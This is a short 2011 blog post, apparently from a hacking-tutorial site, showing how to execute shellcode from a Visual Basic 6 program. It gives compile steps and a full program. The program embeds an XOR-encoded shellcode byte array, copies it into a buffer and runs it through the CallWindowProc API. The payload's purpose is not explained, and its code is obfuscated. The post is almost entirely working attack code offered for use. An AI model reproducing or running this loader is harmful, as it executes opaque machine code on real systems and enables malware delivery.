Saturday, April 2, 2011

How to Execute ShellCode using Visual Basic

Normally we see exploits in C and C++ or Python/Perl/ Ruby but every one say Visual Basic couldn't be used for Calling or Executing a ShellCode so below is the example for Execuring/Running a ShellCode...


Records about compile step:

1. Establish a standard exe

2. Delete form

3. To increase module

4. Paste the code

5. Generate exe


Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Sub Main ()
Dim ShellCode
Dim download () As Byte
ShellCode = Array (& HEB, & HE, & H5B, & H4B, & H33, & HC9, & HB1, & H9B, & H80, & H34, & HB, & HFE, & HE2, & HFA, & HEB, & H5, & HE8, & HED, & HFF, & HFF, & HFF, & H17, & H7B, & HFE, & HFE, & HFE, & HA1, & H9A, & H5F, & HCE, & HFE, & HFE, & HFE, & H75, & HBE, & HF2, & H75, & H8E, & HE2, & H53, & H75, & H96, & HF6, & H75, & H9, & H94, & HFC, & HA7, & H16, & HDB, & HFE, & HFE, & HFE, & H1C, & H7, & H96, & HCD, & HCC, & HFE, & HFE, & H96, & H8B, & H8D, & H9B, & H8C, & HAA, & H1, & HE8, & H75, & H16, & H94, & HFF, & HA7, & H16, & HF2, & HFE, & HFE, & HFE, & H1C, & H7, & HAF, & HA9, & HA9, & HAF, & H1, & HA8, & HF6, & H1, & HA8, & HFA, & HAF, & HA8, & H75, & H8B, & HC2, & H75, & H8A, & HD0, & H86, & HFD, & HB, & HA8, & H75, & H88, & HDE, & HFD, & HB, & HCD, & H37, & HB7, & HBF, & H53, & HFD, & H3B, & HCD, & H25, & HF1, & H40, & HEE, & HC4, & H28, & H8A, & HF6, & H3F, & H35, & HF9, & HFD, & H24, & HBE, & H15, & HF, & HC5, & HE1, & H8B, & H19, & HA0, & H75, & HA0, & HDA, & HFD, & H23, & H98, & H75, & HF2, & HB5, & H75, & HA0, & HE2, & HFD, & H23, & H75, & HFA, & H75, & HFD, & H3B, & H55, & HA0, & HA7, & H3D, & H16, & H88, & H1, & H1, & H1, & HCC, & H8A, & H6F, & HF2)

ReDim download (UBound (ShellCode))

For i = 0 To UBound (ShellCode)
     download (i) = ShellCode (i)
Next

CallWindowProc VarPtr (download (0)), ByVal 0 &, ByVal 0 &, ByVal 0 &, ByVal 0 &

End Sub






1 comment for "How to Execute ShellCode using Visual Basic"

background